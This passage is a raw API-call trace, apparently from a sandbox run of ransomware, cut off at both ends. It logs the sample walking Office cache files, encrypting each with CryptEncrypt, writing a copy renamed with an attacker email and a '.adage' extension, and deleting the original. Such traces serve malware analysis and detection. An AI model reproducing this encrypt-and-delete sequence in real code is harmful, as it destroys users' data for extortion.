0x18c [0053.031] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6067) returned 1 [0053.042] CloseHandle (hObject=0x18c) returned 1 [0053.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0053.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.048] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.049] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.049] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.049] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.049] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d87e0) returned 1 [0053.049] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.049] ReadFile (in: hFile=0x18c, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x17b3, lpOverlapped=0x0) returned 1 [0053.084] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x17c0) returned 1 [0053.084] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x17c0, lpOverlapped=0x0) returned 1 [0053.085] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8860) returned 1 [0053.085] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.085] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0053.086] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.086] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0053.086] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.086] CloseHandle (hObject=0x18c) returned 1 [0053.086] CloseHandle (hObject=0x174) returned 1 [0053.087] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0053.088] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0053.088] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.090] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1817) returned 1 [0053.090] CloseHandle (hObject=0x174) returned 1 [0053.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0053.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.090] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.090] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.090] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.090] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.091] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d87e0) returned 1 [0053.091] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.091] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x719, lpOverlapped=0x0) returned 1 [0053.092] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x720, dwBufLen=0x720 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x720) returned 1 [0053.092] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x720, lpOverlapped=0x0) returned 1 [0053.093] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8860) returned 1 [0053.093] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.093] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0053.094] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.094] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0053.094] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.094] CloseHandle (hObject=0x174) returned 1 [0053.094] CloseHandle (hObject=0x18c) returned 1 [0053.095] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0053.096] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0053.096] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.103] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2175) returned 1 [0053.103] CloseHandle (hObject=0x18c) returned 1 [0053.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0053.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.104] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.104] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.104] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.104] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.105] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d87e0) returned 1 [0053.105] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.105] ReadFile (in: hFile=0x18c, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x87f, lpOverlapped=0x0) returned 1 [0053.115] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x880, dwBufLen=0x880 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x880) returned 1 [0053.115] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x880, lpOverlapped=0x0) returned 1 [0053.116] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8860) returned 1 [0053.116] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.116] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0053.116] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.116] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0053.116] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.116] CloseHandle (hObject=0x18c) returned 1 [0053.116] CloseHandle (hObject=0x174) returned 1 [0053.118] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0053.119] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0053.119] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.120] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1126) returned 1 [0053.120] CloseHandle (hObject=0x174) returned 1 [0053.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0053.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.121] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.121] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.121] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.121] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0053.121] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d87e0) returned 1 [0053.121] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.121] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x466, lpOverlapped=0x0) returned 1 [0053.276] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x470, dwBufLen=0x470 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x470) returned 1 [0053.276] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x470, lpOverlapped=0x0) returned 1 [0053.277] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0053.277] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.277] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0053.277] CryptDestroyKey (hKey=0x4d8820) returned 1 [0053.277] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0053.277] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.277] CloseHandle (hObject=0x174) returned 1 [0053.278] CloseHandle (hObject=0x18c) returned 1 [0053.281] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00ba-0409-0000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0053.964] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0053.964] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.965] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1123) returned 1 [0053.965] CloseHandle (hObject=0x174) returned 1 [0053.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml")) returned 0x2020 [0053.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.965] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.965] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.965] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0053.965] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.088] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.088] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.088] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x463, lpOverlapped=0x0) returned 1 [0054.104] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x470, dwBufLen=0x470 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x470) returned 1 [0054.104] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x470, lpOverlapped=0x0) returned 1 [0054.105] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0054.105] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.105] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.105] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.105] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.105] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.105] CloseHandle (hObject=0x174) returned 1 [0054.105] CloseHandle (hObject=0x190) returned 1 [0054.106] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml")) returned 1 [0054.108] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.108] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.109] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1458) returned 1 [0054.109] CloseHandle (hObject=0x190) returned 1 [0054.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml")) returned 0x2020 [0054.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.110] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.110] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.110] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, 